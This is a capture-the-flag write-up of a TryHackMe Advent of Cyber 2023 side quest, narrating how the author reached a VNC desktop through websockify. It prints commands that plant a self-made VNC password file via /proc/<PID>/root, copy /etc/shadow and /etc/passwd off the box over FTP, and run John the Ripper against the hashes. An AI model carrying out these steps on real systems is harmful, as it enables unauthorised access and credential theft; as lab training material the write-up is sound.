AoCyber: Side Quest 3 Part 2

See this years' other rooms as well:

SQ 1: Day 0
SQ 2: Day 6
SQ 3: Day 11
SQ 4: Day 20

Index of this challenge:

SQ3-0
SQ3-1
SQ3-2

Our final mission on Side Quest 3, the Xtigervnc websocket.

To recap on our enumeration so far:

curl:

┌──(tokugero㉿kali)-[~]
└─$ curl -I http://10.10.83.24:80
HTTP/1.1 405 Method Not Allowed
Server: WebSockify Python/3.8.10
Date: Wed, 13 Dec 2023 05:06:28 GMT
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 472

ps:

/ # /etc/file/busybox ps ewww | /etc/file/busybox grep -e "websockify\|vnc"
 1096 ubuntu    1:57 /usr/bin/Xtigervnc :1 -desktop tryhackme:1 (ubuntu) -auth /home/ubuntu/.Xauthority -geometry 1900x1200 -depth 24 -rfbwait 30000 -rfbauth /home/ubuntu/.vnc/passwd -rfbport 5901 -pn -localhost -SecurityTypes VncAuth
 1127 root      0:02 python3 -m websockify 80 localhost:5901 -D

Some context from both lead me to understand that websockify is just a websocket proxy that passes connections to a VNC port. ps confirms this to be true as well.

noVNC/utils/novnc_proxy at master · novnc/noVNC
VNC client web application. Contribute to novnc/noVNC development by creating an account on GitHub.

I found this project that is part of the ecosystem that lets us set up a quick frontend to connect to the exposed remote websocket without too much trouble.

┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task3/noVNC]
└─$ ./utils/novnc_proxy --vnc 10.10.83.24:80 --listen localhost:9999  
Warning: could not find self.pem
Using installed websockify at /usr/bin/websockify
Starting webserver and WebSockets proxy on host localhost port 9999
WebSocket server settings:
  - Listen on localhost:9999
  - Web server. Web root: /home/tokugero/thm/rooms/aoc2023/task3/noVNC
  - No SSL/TLS support (no cert file)
  - proxying from localhost:9999 to 10.10.83.24:80


Navigate to this URL:

    http://localhost:9999/vnc.html?host=localhost&port=9999

Press Ctrl-C to exit

Woah.

Looking at Xtigervnc some more, it seems that -rfbauth will get checked EVERY TIME there's a new connection. The documentation explains that this live loading behavior is a feature, and I have to agree in this case.

Looking up the path listed in the ps, there is no .vnc folder.

I load up a local copy of xtigervncpasswd, set a weak 8 character password, and pop it in /home/ubuntu/.vnc/passwd with 0600 perms and ownership updates... and nothing. So much nothing I think maybe the unicode didn't transfer. I tried passing it in with FTP, I tried base64 encoding it, I tried bargaining with the rubber ducks on my desk: it just wasn't working.

I'm ashamed to admit I lost a few hours here doing research on the same property I had already understood and updated, but maybe there was something. Something like a way to debug the binary. Like a log file. Like a /proc file handle that could tell me where to go. Let's go see where that file handle thinks it is...

 1096 ubuntu    3:31 /usr/bin/Xtigervnc :1 -desktop tryhackme:1 (ubuntu) -auth /home/ubuntu/.Xauthority
 1127 root      0:02 python3 -m websockify 80 localhost:5901 -D
 ...
 (unreachable)/ # /etc/file/busybox ls -alhn
total 80
drwxr-xr-x   19 0        0           4.0K Dec 13 04:15 .
drwxr-xr-x   19 0        0           4.0K Dec 13 04:15 ..
lrwxrwxrwx    1 0        0              7 Oct 26  2020 bin -> usr/bin
drwxr-xr-x    3 0        0           4.0K Oct 28 08:37 boot
drwxr-xr-x   15 0        0           3.2K Dec 13 04:15 dev
drwxr-xr-x  155 0        0          12.0K Dec 13 04:15 etc
drwxr-xr-x    3 0        0           4.0K Feb 27  2022 home
lrwxrwxrwx    1 0        0              7 Oct 26  2020 lib -> usr/lib
lrwxrwxrwx    1 0        0              9 Oct 26  2020 lib32 -> usr/lib32
lrwxrwxrwx    1 0        0              9 Oct 26  2020 lib64 -> usr/lib64
lrwxrwxrwx    1 0        0             10 Oct 26  2020 libx32 -> usr/libx32
drwx------    2 0        0          16.0K Oct 26  2020 lost+found
drwxr-xr-x    2 0        0           4.0K Oct 26  2020 media
drwxr-xr-x    2 0        0           4.0K Oct 26  2020 mnt
drwxr-xr-x    3 0        0           4.0K Oct 27 09:03 opt
dr-xr-xr-x  249 0        0              0 Dec 13 04:14 proc
drwx------    7 0        0           4.0K Dec  5 12:02 root
drwxr-xr-x   39 0        0           1.1K Dec 13 04:16 run
lrwxrwxrwx    1 0        0              8 Oct 26  2020 sbin -> usr/sbin
drwxr-xr-x    8 0        0           4.0K Feb 27  2022 snap
drwxr-xr-x    2 0        0           4.0K Oct 26  2020 srv
dr-xr-xr-x   13 0        0              0 Dec 13 04:14 sys
drwxrwxrwt   14 0        0           4.0K Dec 13 04:21 tmp
drwxr-xr-x   14 0        0           4.0K Oct 26  2020 usr
drwxr-xr-x   14 0        0           4.0K Feb 27  2022 var

This is looking familiar... why, is this on the host system we rooted earlier... let's go look at the relative path for /home/ubuntu/.vnc/passwd where this service THINKS its live loading from...

OF COURSE this is an VNC session to the host box!

I upload my local vncpasswd generated file through ftp to /tmp/ftp/vncpasswd, move/chmod/chown it to /proc/<xtigervncPID>/root/home/ubuntu/.vnc/passwd, and go to connect...

A password prompt from the screen saver...

I'll admit that if you're taking screenshots for your write up and get to this screen before it goes to screensaver, you can skip the next step. But for completeness I locked it to show you what I did in the challenge.

Well let's try the safest option of exfiltrating /etc/passwd & /etc/shadow to see if we can crack the password.

## On remote box ##
(unreachable)/home/ubuntu/.vnc # /etc/file/busybox cp /etc/shadow /tmp/ftp/shado
(unreachable)/home/ubuntu/.vnc # /etc/file/busybox cp /etc/passwd /tmp/ftp/passwd
... ## On attack box ## ...
ftp> download shado
?Invalid command.
ftp> get shado
local: shado remote: shado
200 Operation successful
150 Opening BINARY connection for shado (529 bytes)
100% |*************************************************************************************************************|   529        9.17 MiB/s    00:00 ETA
226 Operation successful
529 bytes received in 00:00 (3.82 MiB/s)
ftp> get passwd
local: passwd remote: passwd
200 Operation successful
150 Opening BINARY connection for passwd (969 bytes)
100% |*************************************************************************************************************|   969       14.43 MiB/s    00:00 ETA
226 Operation successful
969 bytes received in 00:00 (4.73 MiB/s)

...
┌──(tokugero㉿kali)-[~/thm/rooms/aoc2023/task3]
└─$ john --wordlist=/usr/share/wordlists/john.lst johnshadow 
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-12-12 21:47) 0g/s 88650p/s 88650c/s 88650C/s 123456..sss
Session completed. 
                                                                                                                                                          
┌──(tokugero㉿kali)-[~/thm/rooms/aoc2023/task3]
└─$ john --show johnshadow                     
0 password hashes cracked, 2 left

Okay well that didn't work. Let's just disable passwords for this user, I'm sure they won't mind.

Now you see it
Now you don't

Wiggle the mouse again and?

We're truly in now.

And here's all the juicy sausage. Looks like there's a couple easter eggs I didn't find in my journey, but I think I've had enough of this box for now, maybe you can find what these extra scripts are for.

One last side quest to do!

Side Quest 4